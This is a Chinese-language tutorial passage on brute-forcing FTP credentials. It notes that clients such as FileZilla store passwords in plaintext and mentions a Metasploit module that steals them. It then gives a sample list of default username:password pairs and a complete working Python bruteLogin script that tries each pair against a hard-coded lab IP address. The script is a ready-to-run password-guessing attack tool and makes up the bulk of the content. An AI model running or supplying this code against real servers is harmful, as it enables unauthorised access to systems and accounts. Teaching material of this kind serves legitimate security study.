1.1、概述:
雖然匿名訪問是進入系統的方式之一, 但攻擊者也能成功地用偷來的用戶名/密碼訪問合法的FTP 服務器。FileZilla 之類的FTP 客戶端程序往往將密碼以明文形式存儲在配置文件中。在默認位置中存儲明文密碼使得專門為此編寫的惡意軟件能夠迅速竊取用戶名/密碼。
安全專家們在發現的惡意軟件中也發現了竊取FTP 密碼的功能。一個名為get_filezilla creds.rb 的腳本也集成在了發布的Metasploit 中, 允許用戶在獲得目標控制權後可以快速尋找FTP 密碼。
2.1、背景:
假設要暴力破解的某個用戶名/密碼對就在一個文本文件裡的純文本文件中中
格式為:
(1.txt)
administrator:password
admin:12345
root:secret
guest:guest
root:toor
2.2、函數:
ftplib.FTP類:實現FTP協議的客戶端,可以使用它來編寫執行各種FTP作業的Python程序
2.3、步驟:
將anonLogin()函數擴展創建成一個名為bruteLogin()的函數。這個函數接收的參數是主機名和含有密碼的文件, 返回一個能登錄該主機的用戶名/密碼。該函數逐個讀取文件中的每一行記錄, 用戶名和密碼之間是以冒號分隔的。然後函數嘗試用這個用戶名和密碼登錄FTP 服務器。
如果成功, 則返回一個用戶名和密碼的tuple。如果失敗, 它跳過該異常繼續到下一行。如果函數窮盡所有的行仍未能成功登錄, 則返回一個值為None、None的tuple 。
import ftplib def bruteLogin(hostname, passwdFile): pF = open(passwdFile, 'r') for line in pF.readlines(): userName = line.split(':')[0] passWord = line.split(':')[1].strip('\r').strip('\n') print('[+] Trying: ' + userName + '/' + passWord) try: ftp = ftplib.FTP(hostname) ftp.login(userName, passWord) print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + userName + '/' + passWord) ftp.quit() return (userName, passWord) except Exception as e: pass print('\n[-] Could not brute force FTP credentials') return (None, None) host = '192.168.190.131' passwdFile ='1.txt' bruteLogin(host, passwdFile)